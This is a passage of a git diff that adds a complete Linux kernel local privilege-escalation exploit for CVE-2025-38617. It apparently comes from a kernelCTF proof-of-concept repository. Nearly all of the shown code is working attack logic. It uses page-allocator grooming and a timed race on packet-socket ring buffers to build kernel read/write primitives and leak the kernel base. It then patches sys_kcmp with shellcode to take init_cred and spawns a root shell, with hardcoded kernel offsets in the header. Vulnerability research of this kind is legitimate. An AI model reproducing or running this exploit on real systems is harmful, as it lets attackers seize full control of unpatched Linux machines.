MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3, + PAGE_SIZE + ); + } + } + + victim_packet_socket_configure_for_exploit(exploit_victim_packet_socket); + + pg_vec_lock_thread_work = pg_vec_lock_thread_work_create( + exploit_victim_packet_socket, + dummy_ifindex + ); + + pg_vec_buffer_thread_work = pg_vec_buffer_thread_work_create( + exploit_victim_packet_socket, + true, // exploit + false // cleanup + ); + + msghdr = msghdr_create(packet_data, packet_datalen, DUMMY_INTERFACE_NAME); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) + free_pages(simple_xattr_read_write_primitive->placeholder_packet_sockets[i]); + + pg_vec_lock_thread_send_work(necessary_threads->pg_vec_lock_thread, pg_vec_lock_thread_work); + pg_vec_lock_thread_wait_in_work(necessary_threads->pg_vec_lock_thread); + + network_interface_down(simple_xattr_read_write_primitive->configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + pg_vec_buffer_thread_send_work(necessary_threads->pg_vec_buffer_thread, pg_vec_buffer_thread_work); + pg_vec_buffer_thread_wait_in_work(necessary_threads->pg_vec_buffer_thread); + + network_interface_up(simple_xattr_read_write_primitive->configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + pg_vec_lock_release_time = timespec_add( + necessary_threads->pg_vec_lock_thread->sendmsg_begin_time, + pg_vec_lock_timeout + ); + + struct itimerspec settime_value = {}; + settime_value.it_value = timespec_add(pg_vec_lock_release_time, timer_interrupt_amplitude); + settime_value.it_interval.tv_nsec = 16; + + pin_thread_on_cpu(CPU_NUMBER_ONE); + Timerfd_settime(simple_xattr_read_write_primitive->timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL); + + tpacket_rcv_thread_work = tpacket_rcv_thread_work_create(pg_vec_lock_release_time, msghdr); + tpacket_rcv_thread_send_work(necessary_threads->tpacket_rcv_thread, tpacket_rcv_thread_work); + + tpacket_rcv_thread_wait_work_complete(necessary_threads->tpacket_rcv_thread); + pg_vec_buffer_thread_wait_work_complete(necessary_threads->pg_vec_buffer_thread); + pg_vec_lock_thread_wait_work_complete(necessary_threads->pg_vec_lock_thread); + + memset(&settime_value, 0, sizeof(settime_value)); + Timerfd_settime(simple_xattr_read_write_primitive->timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL); + + bool success = false; + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV && !success; i++) { + for (int j = 0; j < TOTAL_PGV_SPRAY_PER_GROOM && !success; j++) { + int k = i * TOTAL_PAGES_ORDER3_GROOM_FOR_PGV + j; + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k], + 0 + ); + + if ( is_data_look_like_simple_xattr(m, PAGES_ORDER2_SIZE) || + is_data_look_like_simple_xattr(m, XATTR_SIZE_MAX) + ) { + simple_xattr_dump(m); + success = true; + } + + Munmap(m, mmap_size); + + if (success) { + simple_xattr_read_write_primitive->victim_packet_socket = + simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k]; + + simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k] = -1; + } + } + } + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) { + free_pages(simple_xattr_read_write_primitive->drain_order3_pages_packet_sockets[i]); + + for (int j = 0; j < TOTAL_PGV_SPRAY_PER_GROOM; j++) { + int k = i * TOTAL_PAGES_ORDER3_GROOM_FOR_PGV + j; + if (simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k] != -1) { + free_pages(simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k]); + } + } + } + + pg_vec_buffer_thread_work = pg_vec_buffer_thread_work_create( + NULL, + false, // exploit + true // cleanup + ); + + pg_vec_buffer_thread_send_work(necessary_threads->pg_vec_buffer_thread, pg_vec_buffer_thread_work); + pg_vec_buffer_thread_wait_work_complete(necessary_threads->pg_vec_buffer_thread); + victim_packet_socket_destroy(exploit_victim_packet_socket); + return success; +} + +void simple_xattr_read_write_primitive_build_pages_order5_simple_xattr( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +) +{ + struct simple_xattr *control_simple_xattr = simple_xattr_read_write_primitive_mmap( + simple_xattr_read_write_primitive + ); + + char value[XATTR_SIZE_MAX] = {}; + struct simple_xattr_request *pages_order5_simple_xattr_request = simple_xattr_request_create( + simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->filepath, + PAGES_ORDER5_LEAKED_ADDRESS_SIMPLE_XATTR_NAME, + value, + PAGES_ORDER4_SIZE + ); + + Setxattr( + pages_order5_simple_xattr_request->filepath, + pages_order5_simple_xattr_request->name, + pages_order5_simple_xattr_request->value, + pages_order5_simple_xattr_request->value_size, + XATTR_CREATE + ); + + simple_xattr_dump(control_simple_xattr); + + u64 pages_order5_simple_xattr_kernel_address = 0; + + u64 next = (u64)(control_simple_xattr->list.next); + u64 prev = (u64)(control_simple_xattr->list.prev); + if ((next & PAGES_ORDER5_MASK) == next) { + pages_order5_simple_xattr_kernel_address = next; + } else if ((prev & PAGES_ORDER5_MASK) == prev) { + pages_order5_simple_xattr_kernel_address = prev; + } else { + assert(false); + } + + /* + if (control_simple_xattr->rb_node.rb_left) { + pages_order5_simple_xattr_kernel_address = (u64)(control_simple_xattr->rb_node.rb_left); + } else if (control_simple_xattr->rb_node.rb_right) { + pages_order5_simple_xattr_kernel_address = (u64)(control_simple_xattr->rb_node.rb_right); + } else { + assert(false); + } + */ + + printf("[+] pages_order5_simple_xattr_kernel_address: 0x%016lx\n", + pages_order5_simple_xattr_kernel_address); + + simple_xattr_read_write_primitive->pages_order5_simple_xattr_request = pages_order5_simple_xattr_request; + simple_xattr_read_write_primitive->pages_order5_simple_xattr_kernel_address = + pages_order5_simple_xattr_kernel_address; + + simple_xattr_read_write_primitive_munmap( + simple_xattr_read_write_primitive, + control_simple_xattr + ); +} + +void *simple_xattr_read_write_primitive_mmap( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +) +{ + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + simple_xattr_read_write_primitive->victim_packet_socket, + 0 + ); + + return m; +} + +void simple_xattr_read_write_primitive_munmap( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive, + void *mmap_addr +) +{ + UNUSED_FUNCTION_PARAMETER(simple_xattr_read_write_primitive); + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + Munmap(mmap_addr, mmap_size); +} + +struct abr_page_read_write_primitive *abr_page_read_write_primitive_create( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +) +{ + struct abr_page_read_write_primitive *primitive = Calloc(1, sizeof(*primitive)); + primitive->allocate_pgv_packet_socket = Socket(AF_PACKET, SOCK_RAW, 0); + primitive->simple_xattr_read_write_primitive = simple_xattr_read_write_primitive; + return primitive; +} + +bool abr_page_read_write_primitive_build_primitive(struct abr_page_read_write_primitive *abr_page_read_write_primitive) +{ + pin_thread_on_cpu(CPU_NUMBER_ZERO); + + Removexattr( + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->filepath, + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->name + ); + + alloc_pages( + abr_page_read_write_primitive->allocate_pgv_packet_socket, + MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3, + PAGE_SIZE + ); + + simple_xattr_request_destroy( + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_request + ); + + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_request = NULL; + + abr_page_read_write_primitive->overwrite_pgv_packet_socket = + abr_page_read_write_primitive->simple_xattr_read_write_primitive->victim_packet_socket; + + abr_page_read_write_primitive->simple_xattr_read_write_primitive->victim_packet_socket = -1; + abr_page_read_write_primitive->pgv_kernel_address = + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order3_simple_xattr_kernel_address; + + abr_page_read_write_primitive->pages_order5_simple_xattr_request = + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order5_simple_xattr_request; + + abr_page_read_write_primitive->pages_order5_simple_xattr_address = + abr_page_read_write_primitive->simple_xattr_read_write_primitive->pages_order5_simple_xattr_kernel_address; + + abr_page_read_write_primitive->simple_xattr_read_write_primitive = NULL; + + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + abr_page_read_write_primitive->overwrite_pgv_packet_socket, + 0 + ); + + struct pgv *pgv = m; + + for (size_t i = 0; i < 10; i++) { + printf("0x%016lx\n", (u64)pgv[i].buffer); + } + + bool reclaim_success = true; + + for (size_t i = 0; i < MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3; i++) { + u64 addr = (u64)(pgv[i].buffer); + if ((addr >> 48) != 0xFFFF) { + reclaim_success = false; + } + } + + Munmap(m, mmap_size); + return reclaim_success; +} + +void *abr_page_read_write_primitive_page_mmap( + struct abr_page_read_write_primitive *abr_page_read_write_primitive, + u64 addr_to_mmap +) +{ + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + abr_page_read_write_primitive->overwrite_pgv_packet_socket, + 0 + ); + + struct pgv *pgv = m; + pgv[0].buffer = (void *)addr_to_mmap; + Munmap(m, mmap_size); + + mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + abr_page_read_write_primitive->allocate_pgv_packet_socket, + 0 + ); + + return m; +} + +void abr_page_read_write_primitive_page_munmap( + struct abr_page_read_write_primitive *abr_page_read_write_primitive, + void *mmap_addr +) +{ + UNUSED_FUNCTION_PARAMETER(abr_page_read_write_primitive); + u64 mmap_size = MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 * PAGE_SIZE; + Munmap(mmap_addr, mmap_size); +} + +struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive_create( + struct abr_page_read_write_primitive *abr_page_read_write_primitive +) +{ + struct pipe_buffer_read_write_primitive *primitive = Calloc(1, sizeof(*primitive)); + primitive->abr_page_read_write_primitive = abr_page_read_write_primitive; + return primitive; +} + +bool pipe_buffer_read_write_primitive_build_primitive( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive +) +{ + pin_thread_on_cpu(CPU_NUMBER_ZERO); + struct abr_page_read_write_primitive *abr_page_read_write_primitive = + pipe_buffer_read_write_primitive->abr_page_read_write_primitive; + + Pipe2(pipe_buffer_read_write_primitive->pipe_fds, O_DIRECT); + char value[XATTR_SIZE_MAX] = {}; + Setxattr( + abr_page_read_write_primitive->pages_order5_simple_xattr_request->filepath, + PAGES_ORDER2_LEAKED_ADDRESS_SIMPLE_XATTR_NAME, + value, + PAGES_ORDER1_SIZE, + XATTR_CREATE + ); + + struct simple_xattr *pages_order5_simple_xattr = abr_page_read_write_primitive_page_mmap( + abr_page_read_write_primitive, + abr_page_read_write_primitive->pages_order5_simple_xattr_address + ); + + u64 pages_order2_simple_xattr_address = 0; + + u64 next = (u64)(pages_order5_simple_xattr->list.next); + u64 prev = (u64)(pages_order5_simple_xattr->list.prev); + + if ((next & PAGES_ORDER2_MASK) == next) { + pages_order2_simple_xattr_address = next; + } else if ((prev & PAGES_ORDER2_MASK) == prev) { + pages_order2_simple_xattr_address = prev; + } else { + assert(false); + } + + /* + if (pages_order5_simple_xattr->rb_node.rb_left) { + pages_order2_simple_xattr_address = (u64)(pages_order5_simple_xattr->rb_node.rb_left); + } else if (pages_order5_simple_xattr->rb_node.rb_right) { + pages_order2_simple_xattr_address = (u64)(pages_order5_simple_xattr->rb_node.rb_right); + } else { + assert(false); + } + */ + + printf("pages_order2_simple_xattr_address: 0x%016lx\n", pages_order2_simple_xattr_address); + abr_page_read_write_primitive_page_munmap( + abr_page_read_write_primitive, + pages_order5_simple_xattr + ); + + Removexattr( + abr_page_read_write_primitive->pages_order5_simple_xattr_request->filepath, + PAGES_ORDER2_LEAKED_ADDRESS_SIMPLE_XATTR_NAME + ); + + Fcntl( + pipe_buffer_read_write_primitive->pipe_fds[0], + F_SETPIPE_SZ, + PAGE_COUNT_TO_ALLOCATE_PIPE_BUFFER_ON_PAGES_ORDER2 * PAGE_SIZE + ); + + Write( + pipe_buffer_read_write_primitive->pipe_fds[1], + DATA_TO_TRIGGER_PIPE_BUFFER_FILLIN, + strlen(DATA_TO_TRIGGER_PIPE_BUFFER_FILLIN) + ); + + struct pipe_buffer *pipe_buffer = abr_page_read_write_primitive_page_mmap( + abr_page_read_write_primitive, + pages_order2_simple_xattr_address + ); + + if (!is_data_look_like_pipe_buffer(pipe_buffer)) { + Close(pipe_buffer_read_write_primitive->pipe_fds[0]); + Close(pipe_buffer_read_write_primitive->pipe_fds[1]); + pipe_buffer_read_write_primitive->pipe_fds[0] = -1; + pipe_buffer_read_write_primitive->pipe_fds[1] = -1; + abr_page_read_write_primitive_page_munmap( + abr_page_read_write_primitive, + pipe_buffer + ); + + return false; + } + + //pipe_buffer_dump(pipe_buffer); + abr_page_read_write_primitive_page_munmap( + abr_page_read_write_primitive, + pipe_buffer + ); + + pipe_buffer_read_write_primitive->pipe_buffer_address = pages_order2_simple_xattr_address; + return true; +} + +struct pipe_buffer *pipe_buffer_read_write_primitive_page_mmap( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive +) +{ + struct pipe_buffer *pipe_buffer = abr_page_read_write_primitive_page_mmap( + pipe_buffer_read_write_primitive->abr_page_read_write_primitive, + pipe_buffer_read_write_primitive->pipe_buffer_address + ); + + return pipe_buffer; +} + +void pipe_buffer_read_write_primitive_page_munmap( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive, + void *mmap_addr +) +{ + abr_page_read_write_primitive_page_munmap( + pipe_buffer_read_write_primitive->abr_page_read_write_primitive, + mmap_addr + ); +} + +void *patch_sys_kcmp(struct abr_page_read_write_primitive *abr_page_read_write_primitive) +{ + u64 sys_kcmp_page = __do_sys_kcmp & PAGE_MASK; + u64 sys_kcmp_offset_from_page = __do_sys_kcmp - sys_kcmp_page; + + void *m = abr_page_read_write_primitive_page_mmap( + abr_page_read_write_primitive, + sys_kcmp_page + ); + + void *overwrite_ptr = m + sys_kcmp_offset_from_page; + void *shellcode = (void *)privilege_escalation_shellcode_begin; + int shellcode_length = (void *)privilege_escalation_shellcode_end - (void *)privilege_escalation_shellcode_begin; + void *saved_opcodes = Calloc(1, shellcode_length); + memcpy(saved_opcodes, overwrite_ptr, shellcode_length); + memcpy(overwrite_ptr, shellcode, shellcode_length); + + abr_page_read_write_primitive_page_munmap(abr_page_read_write_primitive, m); + return saved_opcodes; +} + +int main(void) +{ + setup_nofile_rlimit(); + setup_namespace(); + setup_tmpfs(); + + int timerfd = Timerfd_create(CLOCK_MONOTONIC, 0); + struct necessary_threads *necessary_threads = necessary_threads_create(timerfd); + + dummy_network_interface_create(DUMMY_INTERFACE_NAME, IPV6_MIN_MTU - 1); + int configure_network_interface_socket = Socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); + network_interface_up(configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + struct timespec timer_interrupt_min_amplitude = { .tv_nsec = 140000 }; + struct timespec timer_interrupt_max_amplitude = { .tv_nsec = 170000 }; + struct timespec timer_interrupt_increment = { .tv_nsec = 1000 }; + struct pages_order3_read_primitive *pages_order3_read_primitive = NULL; + + bool pages_order3_read_primitive_build_success = false; + bool leak_simple_xattr_success = false; + + while (!leak_simple_xattr_success) { + pages_order3_read_primitive = pages_order3_read_primitive_create( + necessary_threads, + configure_network_interface_socket, + timerfd + ); + + struct timespec timer_interrupt_current_amplitude = timer_interrupt_min_amplitude; + while ( !pages_order3_read_primitive_build_success && + timespec_cmp(timer_interrupt_current_amplitude, timer_interrupt_max_amplitude) <= 0 ) { + + fprintf(stderr, "test with amplitude: %lu secs - %ld nsecs\n", + timer_interrupt_current_amplitude.tv_sec, + timer_interrupt_current_amplitude.tv_nsec + ); + + pages_order3_read_primitive_build_success = pages_order3_read_primitive_build_primitive( + pages_order3_read_primitive, + timer_interrupt_current_amplitude + ); + + timer_interrupt_current_amplitude = timespec_add( + timer_interrupt_current_amplitude, + timer_interrupt_increment + ); + } + + if (pages_order3_read_primitive_build_success) { + struct timespec min_max_amplitude = { .tv_nsec = 2000 }; + timer_interrupt_increment.tv_sec = 0; + timer_interrupt_increment.tv_nsec = 100; + + timer_interrupt_min_amplitude = timespec_sub(timer_interrupt_current_amplitude, min_max_amplitude); + timer_interrupt_max_amplitude = timespec_add(timer_interrupt_current_amplitude, min_max_amplitude); + + leak_simple_xattr_success = pages_order3_read_primitive_build_leaked_simple_xattr( + pages_order3_read_primitive + ); + + if (!leak_simple_xattr_success) { + pages_order3_read_primitive_destroy(pages_order3_read_primitive); + pages_order3_read_primitive_build_success = false; + } + } + } + + u64 pages_order3_simple_xattr_kernel_address = pages_order3_read_primitive_leak_pages_order3_simple_xattr_address( + pages_order3_read_primitive + ); + + printf("[+] pages_order3_simple_xattr_kernel_address: 0x%016lx\n", pages_order3_simple_xattr_kernel_address); + + struct simple_xattr_request *pages_order3_simple_xattr_request = + pages_order3_read_primitive_transfer_leaked_address_request_owner(pages_order3_read_primitive); + + pages_order3_read_primitive_destroy(pages_order3_read_primitive); + + necessary_threads_destroy(necessary_threads); + Close(timerfd); + + timerfd = Timerfd_create(CLOCK_MONOTONIC, 0); + necessary_threads = necessary_threads_create(timerfd); + + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive = simple_xattr_read_write_primitive_create( + necessary_threads, + pages_order3_simple_xattr_request, + pages_order3_simple_xattr_kernel_address, + configure_network_interface_socket, + timerfd + ); + + bool simple_xattr_read_write_primitive_build_success = false; + while (!simple_xattr_read_write_primitive_build_success) { + struct timespec timer_interrupt_current_amplitude = timer_interrupt_min_amplitude; + + while (!simple_xattr_read_write_primitive_build_success && + timespec_cmp(timer_interrupt_current_amplitude, timer_interrupt_max_amplitude) <= 0) { + + fprintf(stderr, "test with amplitude: %lu secs - %ld nsecs\n", + timer_interrupt_current_amplitude.tv_sec, + timer_interrupt_current_amplitude.tv_nsec); + + + simple_xattr_read_write_primitive_build_success = simple_xattr_read_write_primitive_build_primitive( + simple_xattr_read_write_primitive, + timer_interrupt_current_amplitude + ); + + timer_interrupt_current_amplitude = timespec_add( + timer_interrupt_current_amplitude, + timer_interrupt_increment + ); + } + } + + simple_xattr_read_write_primitive_build_pages_order5_simple_xattr( + simple_xattr_read_write_primitive + ); + + struct abr_page_read_write_primitive *abr_page_read_write_primitive = abr_page_read_write_primitive_create( + simple_xattr_read_write_primitive + ); + + abr_page_read_write_primitive_build_primitive(abr_page_read_write_primitive); + simple_xattr_read_write_primitive_destroy(simple_xattr_read_write_primitive); + + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive = + pipe_buffer_read_write_primitive_create(abr_page_read_write_primitive); + + + while (!pipe_buffer_read_write_primitive_build_primitive(pipe_buffer_read_write_primitive)) { + ; + } + + printf("[+] pipe_buffer address: 0x%016lx\n", pipe_buffer_read_write_primitive->pipe_buffer_address); + + struct pipe_buffer *pipe_buffer = pipe_buffer_read_write_primitive_page_mmap(pipe_buffer_read_write_primitive); + + u64 kernel_base = (u64)pipe_buffer->ops - anon_pipe_buf_ops_offset_from_kernel_base; + printf("[+] kernel base: 0x%016lx\n", kernel_base); + + pipe_buffer_read_write_primitive_page_munmap(pipe_buffer_read_write_primitive, pipe_buffer); + + update_kernel_address(kernel_base); + void *sys_kcmp_saved_opcodes = patch_sys_kcmp(abr_page_read_write_primitive); + + int not_used = -1; + syscall(SYS_kcmp, (u32)(init_cred >> 32), (u32)(init_cred), not_used, init_fs, __x86_return_thunk); + + char *sh_args[] = {"sh", NULL}; + execve("/bin/sh", sh_args, NULL); + + necessary_threads_destroy(necessary_threads); + + + +} diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/exploit.h b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/exploit.h new file mode 100644 index 000000000..78418b27e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/exploit.h @@ -0,0 +1,776 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef int64_t s64; +typedef uint64_t u64; +typedef uint32_t u32; +typedef uint16_t u16; +typedef uint8_t u8; + +struct pgv { + char *buffer; +}; + +static_assert(sizeof(struct pgv) == 8, "sizeof(struct pgv) not match with kernel"); + +struct list_head { + struct list_head *next, *prev; +}; + +static_assert(sizeof(struct list_head) == 16, "sizeof(struct list_head) not match with kernel"); + +struct simple_xattr { + struct list_head list; + char *name; + size_t size; + char value[]; +}; + +static_assert(sizeof(struct simple_xattr) == 32, "sizeof(struct simple_xattr) not match with kernel"); + +#define UNUSED_FUNCTION_PARAMETER(x) (void)(x) + +#define PAGE_SIZE 4096UL +#define PAGE_MASK (~(PAGE_SIZE - 1)) +#define PAGES_ORDER1_SIZE (PAGE_SIZE * 2) +#define PAGES_ORDER2_SIZE (PAGE_SIZE * 4) +#define PAGES_ORDER2_MASK (~(PAGES_ORDER2_SIZE - 1)) +#define PAGES_ORDER3_SIZE (PAGE_SIZE * 8) +#define PAGES_ORDER3_MASK (~(PAGES_ORDER3_SIZE - 1)) +#define PAGES_ORDER4_SIZE (PAGE_SIZE * 16) +#define PAGES_ORDER5_SIZE (PAGE_SIZE * 32) +#define PAGES_ORDER5_MASK (~(PAGES_ORDER5_SIZE - 1)) +#define CPU_NUMBER_ZERO 0 +#define CPU_NUMBER_ONE 1 +#define NSEC_PER_SEC 1000000000L +#define NSEC_PER_USEC 1000L +#define USEC_PER_SEC 1000000L +#define TOTAL_TIMERFD_WAITLIST_THREADS 180 + +#define TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR 8 +#define TOTAL_SIMPLE_XATTR_SPRAY_PER_GROOM 8 +#define TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR 128 + +#define TOTAL_PAGES_ORDER3_GROOM_FOR_PGV 8 +#define TOTAL_PGV_SPRAY_PER_GROOM 8 +#define TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_PGV 256 +#define MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 ((PAGES_ORDER2_SIZE / sizeof(struct pgv)) + 1) + +#define PAGE_COUNT_TO_ALLOCATE_PIPE_BUFFER_ON_PAGES_ORDER2 256 +#define DATA_TO_TRIGGER_PIPE_BUFFER_FILLIN "fillin_pipe_buffer" + +#define MAX_FILTER_LEN 700 +#define TOTAL_SPRAY_PG_VEC 16 +#define MAX_NICE 19 + +#define TMPFS_MOUNT_POINT "/tmp/tmpfs" +#define PAGES_ORDER3_GROOM_SIMPLE_XATTR_FILEPATH "/tmp/tmpfs/pages_order3_groom" +#define PAGES_ORDER3_GROOM_SIMPLE_XATTR_NAME_FMT "security.pages_order3_groom_%d" +#define PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_FMT "pages_order3_groom_%d" +#define PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_BEGIN "pages_order3_groom_" +#define DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_FMT "drain_for_simple_xattr_packet_socket_%d" +#define DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_BEGIN "drain_for_simple_xattr_packet_socket_" + +#define PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_FILEPATH "/tmp/tmpfs/pages_order3_reclaim" +#define PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_NAME_FMT "security.pages_order3_reclaim_%d" +#define PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_FMT "pages_order3_reclaim_%d" +#define PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_BEGIN "pages_order3_reclaim_" + +#define PAGES_ORDER5_LEAKED_ADDRESS_SIMPLE_XATTR_NAME "security.pages_order5_leaked_address" +#define PAGES_ORDER2_LEAKED_ADDRESS_SIMPLE_XATTR_NAME "security.pages_order2_leaked_address" +#define DUMMY_INTERFACE_NAME "pwn_dummy" + + +/* LOCAL EXPLOIT +#define anon_pipe_buf_ops_last_24_bits 0xc49840 +#define anon_pipe_buf_ops_offset_from_kernel_base 0x1c49840 + +u64 struct_task_struct_member_cred_offset = 0x7c0; +u64 struct_task_struct_member_real_cred_offset = 0x7b8; +u64 struct_task_struct_member_fs_offset = 0x810; +u64 init_cred = 0x2c72ec0; +u64 init_fs = 0x2dad900; +u64 __x86_return_thunk = 0x1483690; +u64 __do_sys_kcmp = 0x271bd0; +*/ + +u64 anon_pipe_buf_ops_last_24_bits = 0xc22580; +u64 anon_pipe_buf_ops_offset_from_kernel_base = 0x1c22580; +u64 init_cred = 0x2a75f00; +u64 init_fs = 0x2bb4860; +u64 __x86_return_thunk = 0x16054b0; +u64 __do_sys_kcmp = 0x23c850; + +static inline void update_kernel_address(u64 kernel_base) +{ + init_cred += kernel_base; + init_fs += kernel_base; + __x86_return_thunk += kernel_base; + __do_sys_kcmp += kernel_base; +} + +static inline bool is_data_look_like_simple_xattr(void *data, size_t value_size) +{ + struct simple_xattr *simple_xattr = data; + struct list_head list = simple_xattr->list; + + if ( + ((((u64)(list.next)) >> 48) == 0xFFFF) && + ((((u64)(list.prev)) >> 48) == 0xFFFF) && + (((u64)(simple_xattr->name) >> 48) == 0xFFFF) && + (simple_xattr->size == value_size) + ) + return true; + + return false; +} + +static inline void simple_xattr_dump(struct simple_xattr *simple_xattr) +{ + struct list_head list = simple_xattr->list; + printf("====== simple_xattr_dump ======\n"); + printf("list.next: 0x%016lx\n", (u64)(list.next)); + printf("list.prev: 0x%016lx\n", (u64)list.prev); + printf("name: 0x%016lx\n", (u64)(simple_xattr->name)); + printf("value_size: 0x%016lx\n", (u64)(simple_xattr->size)); + printf("value: %s\n", (char *)(simple_xattr->value)); +} + +struct pipe_buffer { + void *page; + unsigned int offset, len; + void *ops; + unsigned int flags; + unsigned long private; +}; + +static_assert(sizeof(struct pipe_buffer) == 40, "sizeof(struct pipe_buffer) not match with kernel"); + +static inline bool is_data_look_like_pipe_buffer(struct pipe_buffer *pipe_buffer) +{ + if ( + (((u64)(pipe_buffer->page) >> 48) == 0xFFFF) && + (((u64)(pipe_buffer->ops) & 0xFFFFFF) == anon_pipe_buf_ops_last_24_bits) + ) + return true; + + return false; +} + +static inline void pipe_buffer_dump(struct pipe_buffer *pipe_buffer) +{ + printf("====== pipe_buffer_dump ======\n"); + printf("page: 0x%016lx\n", (u64)(pipe_buffer->page)); + printf("offset: %u, len: %u\n", pipe_buffer->offset, pipe_buffer->len); + printf("ops: 0x%016lx\n", (u64)(pipe_buffer->ops)); + printf("flags: %u\n", pipe_buffer->flags); + printf("private: 0x%016lx\n", pipe_buffer->private); +} + +/* Error handling */ +void unix_error(const char *msg); +void Mnl_socket_error(const char *msg); +void Pthread_error(const char *msg, int error_code); +/* Error handling */ + +/* libc wrapper */ +void Unshare(int flags); +int Socket(int domain, int type, int protocol); +void Setsockopt(int fd, int level, int optname, const void *optval, socklen_t optlen); +void Getsockopt(int fd, int level, int optname, void *optval, socklen_t *optlen); +void Bind(int fd, const struct sockaddr *addr, socklen_t addrlen); +void Ioctl(int fd, unsigned long request, unsigned long arg); +void Close(int fd); +int Dup(int fd); +void Pipe2(int pipefd[2], int flags); +int Fcntl(int fd, int op, unsigned long arg); +void *Mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset); +void Munmap(void *addr, size_t len); +FILE *Fopen(const char *filename, const char *modes); +void Fclose(FILE *stream); +void *Calloc(size_t nmemb, size_t size); +ssize_t Sendmsg(int socket, const struct msghdr *message, int flags); +void Pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg); +void Pthread_join(pthread_t thread, void **retval); +void Pthread_setaffinity_np(pthread_t thread, size_t cpusetsize, const cpu_set_t *cpuset); +void Getrlimit(int resource, struct rlimit *rlim); +void Setrlimit(int resource, const struct rlimit *rlim); +void Setpriority(int which, id_t who, int value); +int Timerfd_create(int clockid, int flags); +void Timerfd_settime(int fd, int flags, const struct itimerspec *new_value, struct itimerspec *old_value); +int Epoll_create1(int flags); +void Epoll_ctl(int epfd, int op, int fd, struct epoll_event *event); +unsigned int If_nametoindex(const char *ifname); +void Mkdir(const char *pathname, mode_t mode); +void Mount(const char *source, const char *target, const char *filesystemtype, unsigned long mountflags, const void *data); +int Open(const char *pathname, int flags, mode_t mode); +void Setxattr(const 